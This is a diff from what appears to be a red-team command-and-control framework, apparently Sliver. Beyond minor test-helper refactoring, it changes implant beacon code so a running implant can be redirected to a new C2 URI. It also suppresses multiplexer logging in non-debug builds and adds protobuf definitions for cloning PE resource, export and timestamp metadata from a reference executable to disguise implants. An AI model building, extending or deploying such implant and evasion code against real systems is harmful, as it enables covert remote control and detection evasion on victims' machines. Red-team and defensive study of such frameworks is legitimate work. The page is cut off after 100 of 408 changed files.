assertErrEqualIgnoreQuotes(t, tt.expectErr, err)
}
})
}
+22
View File
@@ -0,0 +1,22 @@
package proxy
import (
"strings"
"testing"
"github.com/stretchr/testify/assert"
)
func assertErrEqualIgnoreQuotes(t *testing.T, expected error, actual error) {
t.Helper()
if expected == nil {
assert.NoError(t, actual)
return
}
if assert.Error(t, actual) {
expectedMsg := strings.ReplaceAll(expected.Error(), "\"", "")
actualMsg := strings.ReplaceAll(actual.Error(), "\"", "")
assert.Equal(t, expectedMsg, actualMsg)
}
}
+2 -6
View File
@@ -67,9 +67,7 @@ func TestParseURL(t *testing.T) {
if tt.expectError == nil {
a.Nil(err)
} else {
if a.NotNil(err) {
a.Equal(tt.expectError.Error(), err.Error())
}
assertErrEqualIgnoreQuotes(t, tt.expectError, err)
}
})
}
@@ -191,9 +189,7 @@ func TestSplitHostPort(t *testing.T) {
if tt.expectErr == nil {
a.Nil(err)
} else {
if a.NotNil(err) {
a.Equal(tt.expectErr.Error(), err.Error())
}
assertErrEqualIgnoreQuotes(t, tt.expectErr, err)
}
})
}
+19
View File
@@ -152,6 +152,13 @@ func beaconStartup() {
log.Printf("Next beacon = %v", beacon)
// {{end}}
if beacon != nil {
// skip stale beacons when c2-uri has changed
if c2 := transports.GetC2URI(); c2 != "" && c2 != beacon.ActiveC2 {
// {{if .Config.Debug}}
log.Printf("[beacon] skipping stale beacon for %s, c2-uri is %s", beacon.ActiveC2, c2)
// {{end}}
continue
}
err := beaconMainLoop(beacon)
if err != nil {
connectionErrors++
@@ -160,6 +167,10 @@ func beaconStartup() {
}
}
}
// skip 1m reconnect sleep if c2-uri just changed
if c2 := transports.GetC2URI(); c2 != "" && (beacon == nil || c2 != beacon.ActiveC2) {
continue
}
reconnect := transports.GetReconnectInterval()
// {{if .Config.Debug}}
log.Printf("Reconnect sleep: %s", reconnect)
@@ -287,6 +298,14 @@ func beaconMainLoop(beacon *transports.Beacon) error {
case <-shortCircuit:
// Short circuit current duration with no error
}
// check if reconfig used to set a new C2-URI
if c2 := transports.GetC2URI(); c2 != "" && c2 != beacon.ActiveC2 {
// {{if .Config.Debug}}
log.Printf("[beacon] C2 URI changed to %s, reconnecting...", c2)
// {{end}}
return nil
}
}
return nil
}
+21 -2
View File
@@ -21,6 +21,8 @@ package transports
// {{if .Config.IsBeacon}}
import (
"io"
// {{if .Config.Debug}}
"log"
@@ -70,6 +72,7 @@ import (
var (
_ url.URL
_ io.Writer
)
type BeaconInit func() error
@@ -216,7 +219,15 @@ func mtlsBeacon(uri *url.URL) *Beacon {
_ = conn.Close()
return err
}
muxSession, err = yamux.Client(conn, nil)
cfg := yamux.DefaultConfig()
// {{if .Config.Debug}}
cfg.Logger = log.Default()
cfg.LogOutput = nil
// {{else}}
cfg.Logger = nil
cfg.LogOutput = io.Discard
// {{end}}
muxSession, err = yamux.Client(conn, cfg)
if err != nil {
_ = conn.Close()
return err
@@ -318,7 +329,15 @@ func wgBeacon(uri *url.URL) *Beacon {
_ = dev.Down()
return err
}
muxSession, err = yamux.Client(conn, nil)
cfg := yamux.DefaultConfig()
// {{if .Config.Debug}}
cfg.Logger = log.Default()
cfg.LogOutput = nil
// {{else}}
cfg.Logger = nil
cfg.LogOutput = io.Discard
// {{end}}
muxSession, err = yamux.Client(conn, cfg)
if err != nil {
_ = conn.Close()
_ = dev.Down()
+18 -2
View File
@@ -268,7 +268,15 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
conn.Close()
return err
}
muxSession, err = yamux.Client(conn, nil)
cfg := yamux.DefaultConfig()
// {{if .Config.Debug}}
cfg.Logger = log.Default()
cfg.LogOutput = nil
// {{else}}
cfg.Logger = nil
cfg.LogOutput = io.Discard
// {{end}}
muxSession, err = yamux.Client(conn, cfg)
if err != nil {
conn.Close()
return err
@@ -484,7 +492,15 @@ func wgConnect(uri *url.URL) (*Connection, error) {
dev.Down()
return err
}
muxSession, err = yamux.Client(conn, nil)
cfg := yamux.DefaultConfig()
// {{if .Config.Debug}}
cfg.Logger = log.Default()
cfg.LogOutput = nil
// {{else}}
cfg.Logger = nil
cfg.LogOutput = io.Discard
// {{end}}
muxSession, err = yamux.Client(conn, cfg)
if err != nil {
conn.Close()
dev.Down()
+18
View File
@@ -36,6 +36,18 @@ const (
strategySequential = "s"
)
var (
dynamicC2URI = ""
)
func SetC2URI(uri string) {
dynamicC2URI = uri
}
func GetC2URI() string {
return dynamicC2URI
}
// C2Generator - Creates a stream of C2 URLs based on a connection strategy
func C2Generator(abort <-chan struct{}, temporaryC2 ...string) <-chan *url.URL {
// {{if .Config.Debug}}
@@ -78,6 +90,12 @@ func C2Generator(abort <-chan struct{}, temporaryC2 ...string) <-chan *url.URL {
default:
next = c2Servers[c2Counter%uint(len(c2Servers))]()
}
// check if reconfig used to set a new C2-URI
if dynamic := GetC2URI(); dynamic != "" {
next = dynamic
}
c2Counter++
if ^uint(0) < c2Counter {
panic("counter overflow")
File diff suppressed because it is too large. Load diff
+78 -1
View File
@@ -215,10 +215,75 @@ message ImplantConfig {
bool TrafficEncodersEnabled = 152;
repeated string TrafficEncoders = 153;
string Extension = 154;
reserved 155;
reserved "SpoofData";
repeated commonpb.File Assets = 200;
}
message SpoofMetadataFile {
string Name = 1;
bytes Data = 2;
}
message IMAGE_RESOURCE_DIRECTORY {
uint32 Characteristics = 1;
uint32 TimeDateStamp = 2;
// uint16 in PE headers; encoded as uint32 for protobuf transport.
uint32 MajorVersion = 3;
// uint16 in PE headers; encoded as uint32 for protobuf transport.
uint32 MinorVersion = 4;
// uint16 in PE headers; encoded as uint32 for protobuf transport.
uint32 NumberOfNamedEntries = 5;
// uint16 in PE headers; encoded as uint32 for protobuf transport.
uint32 NumberOfIdEntries = 6;
}
message IMAGE_RESOURCE_DIRECTORY_ENTRY {
uint32 Name = 1;
uint32 OffsetToData = 2;
}
message IMAGE_RESOURCE_DATA_ENTRY {
uint32 OffsetToData = 1;
uint32 Size = 2;
uint32 CodePage = 3;
uint32 Reserved = 4;
}
message IMAGE_EXPORT_DIRECTORY {
uint32 Characteristics = 1;
uint32 TimeDateStamp = 2;
// uint16 in PE headers; encoded as uint32 for protobuf transport.
uint32 MajorVersion = 3;
// uint16 in PE headers; encoded as uint32 for protobuf transport.
uint32 MinorVersion = 4;
uint32 Name = 5;
uint32 Base = 6;
uint32 NumberOfFunctions = 7;
uint32 NumberOfNames = 8;
uint32 AddressOfFunctions = 9;
uint32 AddressOfNames = 10;
uint32 AddressOfNameOrdinals = 11;
}
message PESpoofMetadataConfig {
// Reference PE used to clone metadata/resources/timestamps.
SpoofMetadataFile Source = 1;
// Reserved for future standalone icon mutation support.
SpoofMetadataFile Icon = 2;
IMAGE_RESOURCE_DIRECTORY ResourceDirectory = 10;
repeated IMAGE_RESOURCE_DIRECTORY_ENTRY ResourceDirectoryEntries = 11;
repeated IMAGE_RESOURCE_DATA_ENTRY ResourceDataEntries = 12;
IMAGE_EXPORT_DIRECTORY ExportDirectory = 13;
}
message SpoofMetadataConfig {
// Keep executable formats separated so additional formats can be added later
// without changing request semantics.
PESpoofMetadataConfig PE = 1;
}
message TrafficEncoder {
uint64 ID = 1;
commonpb.File Wasm = 2;
@@ -484,7 +549,19 @@ message GenerateStageReq {
string Compress = 8;
}
message Generate { commonpb.File File = 1; }
message Generate {
commonpb.File File = 1;
string ImplantName = 2;
string ImplantBuildID = 3;
}
message GenerateSpoofMetadataReq {
string ImplantBuildID = 1;
string ImplantName = 2;
uint64 ResourceID = 3;
SpoofMetadataConfig SpoofMetadata = 10;
}
message MSFReq {
string Payload = 1;
Loaded 100 of 408 files, more files were not shown because too many files have changed in this diff. Show more